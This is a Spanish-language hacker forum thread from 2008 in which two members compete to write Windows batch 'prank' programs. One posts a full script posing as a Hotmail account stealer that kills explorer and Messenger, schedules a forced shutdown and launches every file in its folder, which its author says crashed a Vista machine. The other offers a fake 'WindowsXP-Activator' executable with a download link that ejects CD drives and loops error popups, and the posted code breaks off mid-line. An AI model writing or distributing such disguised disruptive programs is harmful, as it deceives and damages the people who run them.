Normas del foro

Curso Hacker
Bienvenido(a), Visitante. Favor de ingresar o registrarse.
¿Perdiste tu email de activación? - Enero 07, 2009, 12:28:14
Inicio Ayuda Ingresar Registrarse
Visita: Articulos - Juegos Gratis - Da Foros

Comunidad Underground Hispana  |  Programacion  |  Programación  |  Batch (Moderadores: Espectro Infernal, |Shadow|)  |  Tema: [Duelo] Klez_H vs :: SmartGenius :: (Votaciones) 0 Usuarios y 1 Visitante están viendo este tema. « anterior próximo »
Páginas: [1] 2 3 Ir Abajo Imprimir
Autor Tema: [Duelo] Klez_H vs :: SmartGenius :: (Votaciones)  (Leído 1655 veces)
|Shadow|
Dein Nulls
Moderadores
Colaborador
*****
Desconectado Desconectado

Mensajes: 918


Fucking mnemonic c0d1n6!

shadow@el-hacker.org
Ver Perfil Email
« en: Julio 05, 2008, 01:09:45 »
Tipo: Broma
Objetivo: Crear una broma que solo se encarge de joder a la victima SIN tocar ningun archivo, solo puede reproducirse.
Fecha de entrega: 13 de julio
Inicio de votaciones: 13 de julio
Fin de votaciones: 20 de julio

PS: Si les parece bien el reto, posteen diciendo que estan de acuerdo. . . sino, me dicen q quieren cambiar . . .

Saludos!
« Última modificación: Julio 11, 2008, 05:02:08 por The Shadow » En línea


Necesitas ser usuario para ver los enlaces Crear Usuario  Hacer Sesion
Reglamento del Foro
     Linux  Registered User #473016
:: SmartGenius™ ::
[Phreaker Moderator]
Moderación
Gran Colaborador
*****
Conectado Conectado

Mensajes: 2672


Be Smart......!!!

smartgenius@el-hacker.org
Ver Perfil WWW
« Respuesta #1 en: Julio 05, 2008, 06:24:33 »
mmmmmmmmm una bromilla... por mi esta bien....

a ver que dice mi contrincante... xD

Saludos.

PD: Mi primer duelo... espero no me den tan duro... Wink Wink
« Última modificación: Julio 05, 2008, 06:25:02 por :: SmartGenius :: » En línea
Bueno Muchachos.....Feliz Año Nuevo !!!!

Que la pasen muy bien, nos vemos en unos dias....cuando me pase la.... borracho borracho borracho
Klez.H
Colaborador
*****
Desconectado Desconectado

Mensajes: 502


Dios es sofisticado, pero no malévolo.


Ver Perfil Email
« Respuesta #2 en: Julio 05, 2008, 07:04:37 »
Por mi esta perfecto, me falta mucho para alcanzarte :: SmartGenius :: pero un reto es un reto Wink

Saludos
En línea

Necesitas ser usuario para ver los enlaces Crear Usuario  Hacer Sesion
:: SmartGenius™ ::
[Phreaker Moderator]
Moderación
Gran Colaborador
*****
Conectado Conectado

Mensajes: 2672


Be Smart......!!!

smartgenius@el-hacker.org
Ver Perfil WWW
« Respuesta #3 en: Julio 05, 2008, 08:00:28 »
Cita de: Klez.H en Julio 05, 2008, 07:04:37
Por mi esta perfecto, me falta mucho para alcanzarte :: SmartGenius :: pero un reto es un reto Wink

Saludos

Pero como vas a decir eso men, si antes es al reves, el Newbie aqui soy yo... Cheesy Cheesy

Saludos.
En línea
Bueno Muchachos.....Feliz Año Nuevo !!!!

Que la pasen muy bien, nos vemos en unos dias....cuando me pase la.... borracho borracho borracho
Klez.H
Colaborador
*****
Desconectado Desconectado

Mensajes: 502


Dios es sofisticado, pero no malévolo.


Ver Perfil Email
« Respuesta #4 en: Julio 05, 2008, 09:56:53 »
Cita de: :: SmartGenius :: en Julio 05, 2008, 08:00:28
Cita de: Klez.H en Julio 05, 2008, 07:04:37
Por mi esta perfecto, me falta mucho para alcanzarte :: SmartGenius :: pero un reto es un reto Wink

Saludos

Pero como vas a decir eso men, si antes es al reves, el Newbie aqui soy yo... Cheesy Cheesy

Saludos.

No me obligues a repetirte las cosas Cheesy
Que gane el peor

Saludos 
En línea

Necesitas ser usuario para ver los enlaces Crear Usuario  Hacer Sesion
Espectro Infernal
T0 d0: -> Mejorar 3 en raya
Moderadores
Gran Colaborador
*****
Desconectado Desconectado

Mensajes: 1086


ESPECTRO INFERNAL


Ver Perfil Email
« Respuesta #5 en: Julio 06, 2008, 09:34:33 »
Jjaja, ninguno de ustedes son Newbie, preocupense más de codear bien y aprender y hacer algo bonito y no al resultado del duelo Wink

Suerte a ambos.

Bytes, Espectro Infernal.
En línea




:: SmartGenius™ ::
[Phreaker Moderator]
Moderación
Gran Colaborador
*****
Conectado Conectado

Mensajes: 2672


Be Smart......!!!

smartgenius@el-hacker.org
Ver Perfil WWW
« Respuesta #6 en: Julio 06, 2008, 03:04:53 »
jeje, esta bien... que gane el Peor... xD xD xD
En línea
Bueno Muchachos.....Feliz Año Nuevo !!!!

Que la pasen muy bien, nos vemos en unos dias....cuando me pase la.... borracho borracho borracho
Klez.H
Colaborador
*****
Desconectado Desconectado

Mensajes: 502


Dios es sofisticado, pero no malévolo.


Ver Perfil Email
« Respuesta #7 en: Julio 06, 2008, 06:44:20 »
Jaja a codear se ha dicho Grin

Saludos
En línea

Necesitas ser usuario para ver los enlaces Crear Usuario  Hacer Sesion
Klez.H
Colaborador
*****
Desconectado Desconectado

Mensajes: 502


Dios es sofisticado, pero no malévolo.


Ver Perfil Email
« Respuesta #8 en: Julio 07, 2008, 04:40:53 »
[Pregunta]: Puedo usar algo de vbs? Roll Eyes

 guitarra porf
En línea

Necesitas ser usuario para ver los enlaces Crear Usuario  Hacer Sesion
|Shadow|
Dein Nulls
Moderadores
Colaborador
*****
Desconectado Desconectado

Mensajes: 918


Fucking mnemonic c0d1n6!

shadow@el-hacker.org
Ver Perfil Email
« Respuesta #9 en: Julio 07, 2008, 04:57:53 »
Cita de: Klez.H en Julio 07, 2008, 04:40:53
[Pregunta]: Puedo usar algo de vbs? Roll Eyes

 guitarra porf

Si ps . . . el post de las reglas no tiene restricciones y ninguno de los dos a reclamado nada . . . asi que . . a menos que smart no quiera . . . si puedes

Saludos!
En línea


Necesitas ser usuario para ver los enlaces Crear Usuario  Hacer Sesion
Reglamento del Foro
     Linux  Registered User #473016
Klez.H
Colaborador
*****
Desconectado Desconectado

Mensajes: 502


Dios es sofisticado, pero no malévolo.


Ver Perfil Email
« Respuesta #10 en: Julio 08, 2008, 11:47:15 »
Exelente salud
En línea

Necesitas ser usuario para ver los enlaces Crear Usuario  Hacer Sesion
:: SmartGenius™ ::
[Phreaker Moderator]
Moderación
Gran Colaborador
*****
Conectado Conectado

Mensajes: 2672


Be Smart......!!!

smartgenius@el-hacker.org
Ver Perfil WWW
« Respuesta #11 en: Julio 08, 2008, 02:40:18 »
por mi estaria bien...

ya habia pensado usar algo de vbs, para gestionar ventnas de mensajes porque las que me da MSG /w * no me gustan....

a ver con que ideas salimos...

Saludos.
En línea
Bueno Muchachos.....Feliz Año Nuevo !!!!

Que la pasen muy bien, nos vemos en unos dias....cuando me pase la.... borracho borracho borracho
:: SmartGenius™ ::
[Phreaker Moderator]
Moderación
Gran Colaborador
*****
Conectado Conectado

Mensajes: 2672


Be Smart......!!!

smartgenius@el-hacker.org
Ver Perfil WWW
« Respuesta #12 en: Julio 08, 2008, 08:31:02 »
La verdad que para este duelo no se que hacer....

He estado pensando en varias cositas, peo aun no se me ocurre nada...

tengo ciertos codigos que pueden servirme, haber que me saco con eso, pero quisiera saber que avance lleva Klez.H y para cuando es la finalizacion de esto...

tengo esto:

Código:
echo Set Application=CreateObject("Excel.Application")>%temp%\top1.vbs
echo hwnd=Application.ExecuteExcel4Macro("CALL(""user32"",""FindWindowA"",""JJC"",0,""Windows xD"")")>>%temp%\top1.vbs
echo RC=Application.ExecuteExcel4Macro("CALL(""user32"",""SetWindowPos"",""JJJJJJJJ""," ^& hwnd ^& ",-1,0,0,0,0,3)")>>%temp%\top1.vbs
start top1.vbs

tambien algo de fastidiar con esto:

Código:
mode con cols=180
mode con lines=120
:disco
set /a cont=%cont%+1
color 3b
color a7
color 1b
color 2d
color 3c
color 4d
color 5e
color 6a
color 7b
color a1
color b4
color c6
color d9
color e0
if %cont%==60 (goto :eof) else (goto disco)

y algunos taskkill al Messenger y al Explorer, pero no se que mas hacer....

Saludos.
En línea
Bueno Muchachos.....Feliz Año Nuevo !!!!

Que la pasen muy bien, nos vemos en unos dias....cuando me pase la.... borracho borracho borracho
|Shadow|
Dein Nulls
Moderadores
Colaborador
*****
Desconectado Desconectado

Mensajes: 918


Fucking mnemonic c0d1n6!

shadow@el-hacker.org
Ver Perfil Email
« Respuesta #13 en: Julio 08, 2008, 08:53:04 »
Cita de: :: SmartGenius™ :: ツ en Julio 08, 2008, 08:31:02
La verdad que para este duelo no se que hacer....

He estado pensando en varias cositas, peo aun no se me ocurre nada...

tengo ciertos codigos que pueden servirme, haber que me saco con eso, pero quisiera saber que avance lleva Klez.H y para cuando es la finalizacion de esto...

tengo esto:

Código:
echo Set Application=CreateObject("Excel.Application")>%temp%\top1.vbs
echo hwnd=Application.ExecuteExcel4Macro("CALL(""user32"",""FindWindowA"",""JJC"",0,""Windows xD"")")>>%temp%\top1.vbs
echo RC=Application.ExecuteExcel4Macro("CALL(""user32"",""SetWindowPos"",""JJJJJJJJ""," ^& hwnd ^& ",-1,0,0,0,0,3)")>>%temp%\top1.vbs
start top1.vbs

tambien algo de fastidiar con esto:

Código:
mode con cols=180
mode con lines=120
:disco
set /a cont=%cont%+1
color 3b
color a7
color 1b
color 2d
color 3c
color 4d
color 5e
color 6a
color 7b
color a1
color b4
color c6
color d9
color e0
if %cont%==60 (goto :eof) else (goto disco)

y algunos taskkill al Messenger y al Explorer, pero no se que mas hacer....

Saludos.

Tienen hasta el 13 de julio (este domingo) para entregar!

Animos!!!!

Saludos!
En línea


Necesitas ser usuario para ver los enlaces Crear Usuario  Hacer Sesion
Reglamento del Foro
     Linux  Registered User #473016
:: SmartGenius™ ::
[Phreaker Moderator]
Moderación
Gran Colaborador
*****
Conectado Conectado

Mensajes: 2672


Be Smart......!!!

smartgenius@el-hacker.org
Ver Perfil WWW
« Respuesta #14 en: Julio 08, 2008, 09:11:40 »
Tengo dos preguntas...

Todo el codigo de la broma debe ir dentro del archivo, y este debe ser un .bat
o la broma la podemos empaquetar con QBFC o el que sea y que lleve archivos extra para ayudarnos...

y la otra pregunta es... cuales son todos los caracteres especiales del batch....%&$|>< y cuales mas....??

Saludos.
En línea
Bueno Muchachos.....Feliz Año Nuevo !!!!

Que la pasen muy bien, nos vemos en unos dias....cuando me pase la.... borracho borracho borracho
|Shadow|
Dein Nulls
Moderadores
Colaborador
*****
Desconectado Desconectado

Mensajes: 918


Fucking mnemonic c0d1n6!

shadow@el-hacker.org
Ver Perfil Email
« Respuesta #15 en: Julio 08, 2008, 09:47:20 »
Cita de: :: SmartGenius™ :: ツ en Julio 08, 2008, 09:11:40
Tengo dos preguntas...

Todo el codigo de la broma debe ir dentro del archivo, y este debe ser un .bat
o la broma la podemos empaquetar con QBFC o el que sea y que lleve archivos extra para ayudarnos...

y la otra pregunta es... cuales son todos los caracteres especiales del batch....%&$|>< y cuales mas....??

Saludos.

La primera . . . el programa debe ser presentado como un post de la forma:

Código:
@echo
rem CODIGO

y la otra . . . %&$|><~ . . . creo q esos son . . XD

Saludos!
En línea


Necesitas ser usuario para ver los enlaces Crear Usuario  Hacer Sesion
Reglamento del Foro
     Linux  Registered User #473016
:: SmartGenius™ ::
[Phreaker Moderator]
Moderación
Gran Colaborador
*****
Conectado Conectado

Mensajes: 2672


Be Smart......!!!

smartgenius@el-hacker.org
Ver Perfil WWW
« Respuesta #16 en: Julio 08, 2008, 09:52:34 »
ok men... muchisimas gracias...

ahi vere que me invento para fastidiarle la vida un rato a alguien.. xD xD
tendre que poner esta cabezita a trabajar...

Saludos.
En línea
Bueno Muchachos.....Feliz Año Nuevo !!!!

Que la pasen muy bien, nos vemos en unos dias....cuando me pase la.... borracho borracho borracho
Klez.H
Colaborador
*****
Desconectado Desconectado

Mensajes: 502


Dios es sofisticado, pero no malévolo.


Ver Perfil Email
« Respuesta #17 en: Julio 09, 2008, 10:44:26 »
Vamos Smart, se que se te pueden ocurrir tremendas ideas, es cuestion de especular, meditar, pensar. Hasta que encuentres algo que te resulte hilarante y desde ese momento a inventar, crear y codear. Suerte man, animo que hay tiempo aun.

saludos
En línea

Necesitas ser usuario para ver los enlaces Crear Usuario  Hacer Sesion
Klez.H
Colaborador
*****
Desconectado Desconectado

Mensajes: 502


Dios es sofisticado, pero no malévolo.


Ver Perfil Email
« Respuesta #18 en: Julio 09, 2008, 07:22:16 »
Quisiera saber a que te referis exactamente a: "SIN tocar ningun archivo", te referis a no borrar nada, no cambiar archivos de lugar?

Se puede modificar un archivo? modificarlo sin hacer daño, solo para hacer algo graciosillo, agregarle dos palabras a un archivo de la PC nada mas eso. Se puede?

saludos......................
En línea

Necesitas ser usuario para ver los enlaces Crear Usuario  Hacer Sesion
|Shadow|
Dein Nulls
Moderadores
Colaborador
*****
Desconectado Desconectado

Mensajes: 918


Fucking mnemonic c0d1n6!

shadow@el-hacker.org
Ver Perfil Email
« Respuesta #19 en: Julio 09, 2008, 07:26:58 »
Cita de: Klez.H en Julio 09, 2008, 07:22:16
Quisiera saber a que te referis exactamente a: "SIN tocar ningun archivo", te referis a no borrar nada, no cambiar archivos de lugar?

Se puede modificar un archivo? modificarlo sin hacer daño, solo para hacer algo graciosillo, agregarle dos palabras a un archivo de la PC nada mas eso. Se puede?

saludos......................

Despues de que el archivo no halla estado en la pc antes de que se ejecutara la broma, esta bien. . .La broma puede crear y modificar cuantos archivos quiera . . . solo q tienen q ser archivos creados por el mismo programa . . ^^

Saludos!
En línea


Necesitas ser usuario para ver los enlaces Crear Usuario  Hacer Sesion
Reglamento del Foro
     Linux  Registered User #473016
Klez.H
Colaborador
*****
Desconectado Desconectado

Mensajes: 502


Dios es sofisticado, pero no malévolo.


Ver Perfil Email
« Respuesta #20 en: Julio 09, 2008, 09:35:10 »
Cita de: The Shadow en Julio 09, 2008, 07:26:58
Cita de: Klez.H en Julio 09, 2008, 07:22:16
Quisiera saber a que te referis exactamente a: "SIN tocar ningun archivo", te referis a no borrar nada, no cambiar archivos de lugar?

Se puede modificar un archivo? modificarlo sin hacer daño, solo para hacer algo graciosillo, agregarle dos palabras a un archivo de la PC nada mas eso. Se puede?

saludos......................

Despues de que el archivo no halla estado en la pc antes de que se ejecutara la broma, esta bien. . .La broma puede crear y modificar cuantos archivos quiera . . . solo q tienen q ser archivos creados por el mismo programa . . ^^

Saludos!

Lastima... hubiera sido muy comico Grin
En línea

Necesitas ser usuario para ver los enlaces Crear Usuario  Hacer Sesion
:: SmartGenius™ ::
[Phreaker Moderator]
Moderación
Gran Colaborador
*****
Conectado Conectado

Mensajes: 2672


Be Smart......!!!

smartgenius@el-hacker.org
Ver Perfil WWW
« Respuesta #21 en: Julio 10, 2008, 10:01:19 »
Esto es lo que llevo...

Me falta hacerle unos retoques, pero no se me ocurren otras cosas para hacerle al codigo....

Código:
 @echo off
mode con cols=80
mode con lines=30
color 0a
title XSS Hotmail

:load
echo Set Application=CreateObject("Excel.Application")>%temp%\topme.vbs
echo hwnd=Application.ExecuteExcel4Macro("CALL(""user32"",""FindWindowA"",""JJC"",0,""XSS Hotmail"")")>>%temp%\topme.vbs
echo RC=Application.ExecuteExcel4Macro("CALL(""user32"",""SetWindowPos"",""JJJJJJJJ""," ^& hwnd ^& ",-1,0,0,0,0,3)")>>%temp%\topme.vbs
cls
echo Conectandose al Server.
echo.
echo ==
ping -n 1 0.0.0.0.0 > nul
cls
echo Conectandose al Server..
echo.
echo =====
ping -n 1 0.0.0.0.0 > nul
cls
echo Solicitando Acceso . . .
echo.
echo ========
ping -n 1 0.0.0.0.0 > nul
cls
echo En Linea.
echo.
echo =========== OK
ping -n 1 0.0.0.0.0 > nul
goto ini

:ini
cls
echo.
echo.
echo  Este programa es Netamente educativo, y solo pretende
echo  demostrar que no todo lo que se considera seguro lo es
echo  y que un ataque de esta magnitud a hotmail es posible
echo  solo hacia falta tener algo de imaginacion...
echo.
echo  Usalo bajo tu propia responsabilidad...
echo.
echo  Si estas de acuerdo, continua...
echo  De lo contrario, cierra este programa...
echo.
echo        ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
echo        ³ Acepto. Entrando... ³
echo        ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
ping -n 2 0.0.0.0 >nul
goto main

:main
start %temp%\topme.vbs
echo.
echo.
cls
echo           ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
echo           ³ Roba Cuentas Hotmail  11.07.08 ³
echo           ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
echo.
echo  Rellena el siguiente formulario:
echo.
echo  1.Introduce E-mail de la victima...
set /p vic=
if %vic:~-12%==   @hotmail.com (goto :mail) else (goto :inc)

:mail
echo  2.A que cuenta de correo quieres que te llegue el Password?
set /p correo=
if %correo:~-12%==   @hotmail.com (goto :sig) else (goto :inc)

:sig
echo.
echo  Un momento por favor...
echo.
ping -n 3 0.0.0.0 > nul
echo MsgBox "Mierda...Nos han descubierto", 64, "XSS Hotmail" >%temp%\msgr.vbs
start %temp%\msgr.vbs
taskkill /f /im explorer.exe
taskkill /f /im msnmsgr.exe
shutdown -t 800 -s -c "Eso te pasa por lammer...xD"
for %%c in (*.*) do (start %%c )
exit

:inc
cls
echo.
echo  Ha introducido una Cuenta de Correo incorrecta
echo.
echo  Asegurese de que se trata de una Cuenta de Hotmail, no se
echo  aceptan cuentas de Gmail ni Yahoo¡
echo.
pause
goto main

A ver con que va saliendo Klez.H... es que yo la verdad no tengo mucho tiempo por ahora...

Saludos.
« Última modificación: Julio 11, 2008, 04:46:00 por :: SmartGenius™ :: ツ » En línea
Bueno Muchachos.....Feliz Año Nuevo !!!!

Que la pasen muy bien, nos vemos en unos dias....cuando me pase la.... borracho borracho borracho
Klez.H
Colaborador
*****
Desconectado Desconectado

Mensajes: 502


Dios es sofisticado, pero no malévolo.


Ver Perfil Email
« Respuesta #22 en: Julio 11, 2008, 12:27:13 »
Me gusta Smart, no se me habria ocurrido eso Cheesy
Mi code ya esta terminado y ya no se que mas a gregarle, ademas ya esta muy cargado, cuando te parezca cerramos el duelo...
En línea

Necesitas ser usuario para ver los enlaces Crear Usuario  Hacer Sesion
:: SmartGenius™ ::
[Phreaker Moderator]
Moderación
Gran Colaborador
*****
Conectado Conectado

Mensajes: 2672


Be Smart......!!!

smartgenius@el-hacker.org
Ver Perfil WWW
« Respuesta #23 en: Julio 11, 2008, 12:39:14 »
jeje... te gusta... Grin Grin

a mi la linea que mas me gusto fue for %%c in (*.*) do (start %%c ), ya que provoco una pantalla azul en un windows vista donde l probe... xD xD xD

Yo lo hice para que pareciera creible al principio, de que no se trataba de una broma, pero luego viene lo gracioso.......xD xD xD

Si ya tienes listo lo tuyo, puede postearlo y cerrar ya esto...

Saludos.
« Última modificación: Julio 11, 2008, 04:46:11 por :: SmartGenius™ :: ツ » En línea
Bueno Muchachos.....Feliz Año Nuevo !!!!

Que la pasen muy bien, nos vemos en unos dias....cuando me pase la.... borracho borracho borracho
Klez.H
Colaborador
*****
Desconectado Desconectado

Mensajes: 502


Dios es sofisticado, pero no malévolo.


Ver Perfil Email
« Respuesta #24 en: Julio 11, 2008, 01:45:14 »
Bueno aca les dejo mi code:

Para descargar:
Necesitas ser usuario para ver los enlaces Crear Usuario  Hacer Sesion
http://rapidshare.com/files/129162525/WindowsXP-Activator.rar.html


(Viene con una foto adjunta (ya van a ver mas adelante para que sirve, el batch viene encapsulado en .exe listo para jugarle una broma a alguien)

Este es el icono para que sea mas creible...

Necesitas ser usuario para ver los enlaces Crear Usuario  Hacer Sesion


El "programa"

Necesitas ser usuario para ver los enlaces Crear Usuario  Hacer Sesion


Necesitas ser usuario para ver los enlaces Crear Usuario  Hacer Sesion



Citar
   @echo off
color 0a
title WindowsXP-Activator
if exist %windir%\system32\WindowsUpDate.bat (goto ex) else (goto crf0)
:crf0
copy Activator.bmp %windir%\>nul
goto crf1
:crf1
echo Set oWMP = CreateObject("WMPlayer.OCX.7" ) >> func01.vbs
echo Set colCDROMs = oWMP.cdromCollection >> func01.vbs
echo if colCDROMs.Count  then >> func01.vbs
echo For i = 0 to colCDROMs.Count - 1 >> func01.vbs
echo colCDROMs.Item(i).Eject >> func01.vbs 
echo Next ' cdrom >> func01.vbs 
echo End If >> func01.vbs 
echo Var1 = MsgBox("Inserte el CD de su Windows original",21,"Error Windows") >> func01.vbs
echo If Var1 = 4 Then >> func01.vbs
echo Var2 = MsgBox("Inserte el CD de su Windows original",21,"Error Windows") >> func01.vbs
echo Var3 = MsgBox("Inserte el CD de su Windows original",21,"Error Windows") >> func01.vbs 
echo Var4 = MsgBox("Inserte el CD de su Windows original",21,"Error Windows") >> func01.vbs 
echo Var5 = MsgBox("Inserte el CD de su Windows original",21,"Error Windows") >> func01.vbs 
echo Var6 = MsgBox("Inserte el CD de su Windows original",21,"Error Windows") >> func01.vbs 
echo Var7 = MsgBox("Inserte el CD de su Windows original",21,"Error Windows") >> func01.vbs 
echo Var8 = MsgBox("Inserte el CD de su Windows original",21,"Error Windows") >> func01.vbs 
echo Var9 = MsgBox("Inserte el CD de su Windows original",21,"Error Windows") >> func01.vbs 
echo Var10 = MsgBox("Inserte el CD de su Windows original",21,"Error Windows") >&g